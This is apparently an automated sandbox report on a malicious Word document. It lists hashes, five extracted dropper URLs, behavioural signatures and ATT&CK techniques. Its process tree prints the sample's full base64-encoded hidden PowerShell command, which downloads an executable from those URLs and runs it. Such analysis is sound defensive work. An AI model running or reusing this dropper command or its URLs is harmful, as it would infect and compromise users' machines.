6ed366709382f3870c1de2c896f3d4ea9b68f067ce324a25c5e9f6123ade8bf2

General

Target

6ed366709382f3870c1de2c896f3d4ea9b68f067ce324a25c5e9f6123ade8bf2.doc
Size

182KB
MD5

c0746953b8268cd28af34b3f260c9e90
SHA1

f5f79ceee9a9b5775c1b39d605834c060c8cbd5c
SHA256

6ed366709382f3870c1de2c896f3d4ea9b68f067ce324a25c5e9f6123ade8bf2
SHA512

24e79f4e18bb1b1ec89cf6e3e539d28adc9a55e12154fadcc4c1bffbdbb2815a82690ba58b71b5cc1ee05523ca56ed71f8cd0b4730ce61d07b0f868dca5a2dcf
SSDEEP

3072:9NX2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7F:9NX2k4PF7tGiL3HJk9rD7bdasiv86J

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2304	1076	Powershell.exe	85

Blocklisted process makes network request 3 IoCs

flow	pid	Process
28	2304	Powershell.exe
73	2304	Powershell.exe
76	2304	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2304	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3512	WINWORD.EXE
3512	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2304	Powershell.exe
2304	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2304	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3512	WINWORD.EXE
3512	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3512	WINWORD.EXE
3512	WINWORD.EXE
3512	WINWORD.EXE
3512	WINWORD.EXE
3512	WINWORD.EXE
3512	WINWORD.EXE
3512	WINWORD.EXE
3512	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3512 wrote to memory of 2356	3512	WINWORD.EXE	87
PID 3512 wrote to memory of 2356	3512	WINWORD.EXE	87

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6ed366709382f3870c1de2c896f3d4ea9b68f067ce324a25c5e9f6123ade8bf2.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3512
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2356

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\77D9FCF9.wmf

Filesize
444B

MD5
29aaa172475eca41f89ebaf03a0ca77b

SHA1
e6eb85e52039fe869933904190ef5d401ef6e045

SHA256
bb45237e792f877b6022e672a6c51b6de7dc160407a1160baa598b196ff51ed6

SHA512
467071e41ea5e753d639ecd160a53639a7ed6ea3277190f9fd4eb4e544cbe1e149e409095134e0ae204234573db0ac67b3c6ee1cfba7dbae13a42c14bbb3493b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD111F.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cqiwyl3u.gjl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
425e4b28b59f1344df6375941fb3b583

SHA1
2545c23ac13ff934890cda3e930398e6d47974ff

SHA256
cf5f78ed2198822d41656a8cfe335be2f5e4ef19954bdcebef0c0ba0a278e086

SHA512
4a23dc06c252b40c738f608fef85388d3dcedb38c962cfe605de76eeef7e7efb8149298d28ddbb9fb0de4d0a41eeb5803fe0abccb76c66aeadbe113a62e4a1f7

Download Submit
memory/2304-50-0x000001DB44770000-0x000001DB44792000-memory.dmp

Filesize
136KB

Download
memory/3512-12-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-3-0x00007FF81F5B0000-0x00007FF81F5C0000-memory.dmp

Filesize
64KB

Download
memory/3512-15-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-16-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-17-0x00007FF81D550000-0x00007FF81D560000-memory.dmp

Filesize
64KB

Download
memory/3512-14-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-13-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-18-0x00007FF81D550000-0x00007FF81D560000-memory.dmp

Filesize
64KB

Download
memory/3512-9-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-7-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-6-0x00007FF81F5B0000-0x00007FF81F5C0000-memory.dmp

Filesize
64KB

Download
memory/3512-1-0x00007FF85F5CD000-0x00007FF85F5CE000-memory.dmp

Filesize
4KB

Download
memory/3512-2-0x00007FF81F5B0000-0x00007FF81F5C0000-memory.dmp

Filesize
64KB

Download
memory/3512-10-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-11-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-8-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-5-0x00007FF81F5B0000-0x00007FF81F5C0000-memory.dmp

Filesize
64KB

Download
memory/3512-70-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-72-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-71-0x00007FF85F5CD000-0x00007FF85F5CE000-memory.dmp

Filesize
4KB

Download
memory/3512-73-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-4-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/3512-0-0x00007FF81F5B0000-0x00007FF81F5C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads